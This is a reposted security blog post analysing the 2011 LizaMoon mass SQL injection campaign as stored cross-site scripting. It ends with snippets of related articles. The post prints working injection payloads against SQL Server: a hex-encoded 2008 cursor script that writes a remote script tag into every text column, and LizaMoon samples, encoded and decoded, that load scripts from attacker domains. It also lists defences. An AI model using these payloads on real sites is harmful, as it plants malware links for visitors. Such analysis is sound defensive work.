LizaMoon: Stored XSS via SQL Injection

简介:

 Blended Attacks

More and more of today's web application attacks are leveraging multiple weaknesses, vulnerabilities and attack methods in order to achieve a desired exploitation outcome. It is becoming more and more difficult to neatly place an attack into one specific container (such as XSS, SQL Injection, etc...).   These are blended attacks.

LizaMoon Attacks

As most of you have already heard, or have faced yourselves, the LizaMoon mass SQL Injection attacks are still going strong on the web. Here is a recent entry from the  WASC Web Hacking Incident Database (WHID) -

WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site

Entry Title: WHID 2011-61: LizaMoon Mass SQL Injection Attack Points to Rogue AV Site
WHID ID: 2011-61
Date Occurred: March 29, 2011
Attack Method: SQL Injection
Application Weakness: Improper Input Handling
Outcome: Planting of Malware
Attacked Entity Field: Multiple
Attacked Entity Geography: 
Incident Description: Attackers have launched a large-scale SQL injection attack that has compromised several thousand legitimate Websites, including a few catalog pages from Apple's iTunes music store.
Mass Attack: Yes
Mass Attack Name: LizaMoon
Reference: http://www.eweek.com/c/a/Security/LizaMoon-Mass-SQL-Injection-Attack-Points-to-Rogue-AV-Site-852537/
Attack Source Geography: 

SQL Injection or Cross-site Scripting?

While SQL Injection was used as the attack vector, it was merely a means to an end.  The desired outcome of these attacks are to execute code within a web visitor's browser, which is the definition of Cross-site Scripting.  It is important to keep this end goal in mind when considering mitigation options.  So why are people focusing so much on the SQL Injection aspect of these attacks?  One word -  Scale.  

Economies of Scale - Generic SQL Injection Payloads

Historically, criminals had a tough time creating SQL Injection payloads that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same.This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures. This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Mass SQL Injection Bots in 2008

In 2008, attackers figure out an ingenious method to generically inject SQL payloads into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that would generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

Skeleton Key attack payload if you will all in one request.  Brutal...

Here is an example generic SQL injection payload from 2008  -

GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000);SET%20@S=CAST(0x4445434c41524520405420
5641524348415228323535292c4043205641524348415228323535
29204445434c415245205461626c655f437572736f722043555253
4f5220464f522053454c45435420612e6e616d652c622e6e616d652
046524f4d207379736f626a6563747320612c737973636f6c756d6
e73206220574845524520612e69643d622e696420414e4420612e
78747970653d27752720414e442028622e78747970653d393920
4f5220622e78747970653d3335204f5220622e78747970653d323
331204f5220622e78747970653d31363729204f50454e205461626
c655f437572736f72204645544348204e4558542046524f4d20546
1626c655f437572736f7220494e544f2040542c4043205748494c4
528404046455443485f5354415455533d302920424547494e20455
845432827555044415445205b272b40542b275d20534554205b27
2b40432b275d3d525452494d28434f4e56455254285641524348415
22834303030292c5b272b40432b275d29292b27273c7363726970
74207372633d73646f2e313030306d672e636e2f63737273732f77
2e6a733e3c2f7363726970743e27272729204645544348204e4558
542046524f4d205461626c655f437572736f7220494e544f2040542
c404320454e4420434c4f5345205461626c655f437572736f722044
45414c4c4f43415445205461626c655f437572736f7220%20AS%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.example.com
Connection: Close

If we decode the HEX encoded SQL data, we see that this is actually a script command that loops through various DB table fields and then appends the XSS javascript code to them all -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Current LizaMoon-type SQL Injection Payloads

We have analyzed a number of different examples from the current LizaMoon-type SQL Injection attacks and have noticed some differences from the previous examples of 2008.  The main difference is that these new attack payloads are not generic scripts like the ones from 2008.  These payloads are specific to each site.  Here are two examples:

Sample #1 -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+
as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(
108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B
char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10
4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch
ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11
6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha
r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)
%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(
114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v
archar(8)))--

Sample #1 Decoded -

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+
as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php>
+as+varchar(8000)),cast(char(32)+as+v
archar(8)))--

Notice that this SQL payload does not use the same generic for loop scripting and intstead focuses on specific DB fields (usd_ResponseDetails and categoryName).

Sample #2 -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000))
,cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2B
char(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(11
6)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bch
ar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(108)%2Bchar(105)%2Bchar(122)
%2Bchar(97)%2Bchar(109)%2Bchar(111)%2Bchar(111)%2Bchar(110)%2Bchar(46)%2Bchar(99)%2Bchar
(111)%2Bchar(109)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%
2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(1
05)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Sample #2 Decoded -

prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000))
,cast(</title><script src=http://lizamoon.com/ur.php></script>
+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Notice, again, that this SQL payload does not use the same generic for loop scripting and intstead focuses on different specific DB fields (tblMembers and Forename).

This means that, while these SQL Injection attacks are highly successful, they are not generic in nature and thus require some sort of SQL probing in order to identify the proper DB structure before sending the final attack payload.  

Defending against SQL Injection

Step #1 - Input Validation

The first step in defending against this type of attack is to ensure that you are filtering client input and applying input validation mechanisms to ensure that the data is acceptable.  The OWASP ModSecurity Core Rule Set (CRS) Project contains many different rules that identify these types of attacks.  You can even follow this link to send the same payload to the online ModSecurity CRS demo page and see the various rules that trigger.

Step #2 - Use Prepared Statements with Bound Parameters

The underlying issue with SQL Injection attacks is that many SQL statements are dynamically created by simply concatenating client data into the query.  You should review the OWASP SQL Injection Cheat-sheet document to get a better understanding of the issues.

Defending against XSS

Let's not forget that the actual goal of these attacks are XSS.  These SQL Injection payloads are adding in rogue html javascript tags to response pages.  Here are a few defensive items to consider.

OWASP XSS Prevention Cheat-sheet

Make sure that all developers review the OWASP XSS Prevention Cheat-sheet.

Output Encoding/Escaping

An intersting item to note with trying to identify the scale of these mass attacks is this -

The number of infected links returned by search engines only lists when sql injection was successful but the XSS payload injection wasn't.

Why is this?  Take a look at an example Google Search question for LizaMoon payloads.  Here is some example raw html of a site returned by the search:

<td id="tdDevelopmentName">Riyad Resort      
&lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;
&lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;&lt;/script&gt;
 Gallery</td>

This code does not execute javascript but instead only renders the text.  If the XSS script tags were successfully injected, meaning that the apps were not properly output encoding/escaping payloads, then the search engine spiders would not be indexing the snippets of code.  The search engines do not index the raw html source code but only the rendered text.

So, even though sites listed in the search results were vulnerable to SQL Injection and compromised, they actually prevented the goal of this attack since the web app is properly output encoding the data sent to the clients.

Ensure proper Output Encoding/Escaping Coverage

After working with new customers who came to us after being compromised, we are finding some interesing root-cause/remediation scenarios.  Even if an organization conducts proper application analysis to identify locations that hold user-supplied data, where they are echoed back to clients and then applying proper contextual output encoding, this may not be enough... 

You may be saying "Huh?"

Due to the SQL Injection payload adding the malicious JS data to many back-end DB fields, the data may be injected into a field (such as the page Title data) that was never legitimately supposed to contain user-supplied data.  The result is that organization must re-analyze their output escaping strategy to ensure that they have applied encoding to all possible fields.

Identifying Rogue JavaScript in Output 

Regardless of inbound request data, security devices such as Web Application Firewalls (WAFs) can aid in the tracking of legitimate script tags contained within web pages.  For instance, the Trustwave WebDefend WAF has the capability to identify when new script tags are successfully entered into response pages.

Identifying Malware Links in Response Pages

As outlined in the previous blog post ModSecurity Advanced Topic of the Week: Malware Link Detection, ModSecurity has a new API which allows it to utilize Google's Safe Browsing DB.  This can help to prevent malicious links from being sent from your site onto clients.









本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/543778,如需转载请自行联系原作者

相关文章
|
4月前
|
SQL 安全 Java
揭秘Spring Boot安全防线:如何巧妙抵御XSS与SQL注入的双重威胁?
【8月更文挑战第29天】随着互联网技术的发展,Web应用已成为社会不可或缺的一部分。Spring Boot作为高效构建Web应用的框架备受青睐,但同时也面临安全挑战,如XSS攻击和SQL注入。本文介绍如何在Spring Boot应用中防范这两种常见安全漏洞。针对XSS攻击,可通过输入验证、输出编码及使用安全API来加强防护;对于SQL注入,则应利用预编译语句、参数化查询及最小权限原则来确保数据库安全。示例代码展示了具体实现方法,帮助开发者提升应用安全性。
319 2
|
1月前
|
SQL 安全 前端开发
让你彻底了解SQL注入、XSS和CSRF
了解SQL注入、XSS和CSRF
53 7
|
1月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
42 0
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
142 5
|
3月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
104 3
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
85 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
127 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
59 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
58 3
|
3月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
95 6